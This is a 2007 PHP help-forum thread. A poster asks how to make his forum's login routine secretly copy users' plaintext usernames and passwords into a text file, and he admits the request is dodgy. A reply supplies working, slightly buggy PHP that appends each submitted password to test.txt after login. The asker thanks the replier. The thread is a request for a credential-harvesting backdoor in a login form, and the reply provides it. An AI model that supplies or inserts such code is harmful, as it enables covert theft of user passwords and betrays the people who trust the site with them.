Bisdale Posted March 21, 2007 Share Posted March 21, 2007 Hi, I want to log a username and password before the password is md5'd. This is the code where you login to the forum. What should i change the code to so that when someone logs in it copys the info they type as their password and username to a .txt or html file on the server so that I can go to that file and see their password and not have to spend like a week cracking it. if ( $_POST['UserName'] == "" ) { $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'no_username' ) ); } if ( $_POST['PassWord'] == "" ) { $this->ipsclass->Error( array( 'LEVEL' => 1, 'MSG' => 'pass_blank' ) ); } I know this is kind of dodgy but help would be appreciated =) Please bare in mind I have no php or sql knowledge whatsoever. Thanks Link to comment https://forums.phpfreaks.com/topic/43636-help-with-copying-username-and-password-form-info-to-text-document/ Share on other sites More sharing options...
skali Posted March 21, 2007 Share Posted March 21, 2007 Add this code after your code that is verifying the authenticity of data from user <?php $filename = 'test.txt'; $somecontent = "username: ".$_POST['UserName']; $somecontent = "username: ".$_POST['PassWord']."\n"; // Let's make sure the file exists and is writable first. if (is_writable($filename)) { if (!$handle = fopen($filename, 'a')) { echo "Cannot open file ($filename)"; exit; } if (fwrite($handle, $somecontent) === FALSE) { echo "Cannot write to file ($filename)"; exit; } echo "Success, wrote ($somecontent) to file ($filename)"; fclose($handle); } ?> Link to comment https://forums.phpfreaks.com/topic/43636-help-with-copying-username-and-password-form-info-to-text-document/#findComment-211875 Share on other sites More sharing options...
Bisdale Posted March 21, 2007 Author Share Posted March 21, 2007 Thankyou very much dude. Link to comment https://forums.phpfreaks.com/topic/43636-help-with-copying-username-and-password-form-info-to-text-document/#findComment-212309 Share on other sites More sharing options...
Recommended Posts
Archived
This topic is now archived and is closed to further replies.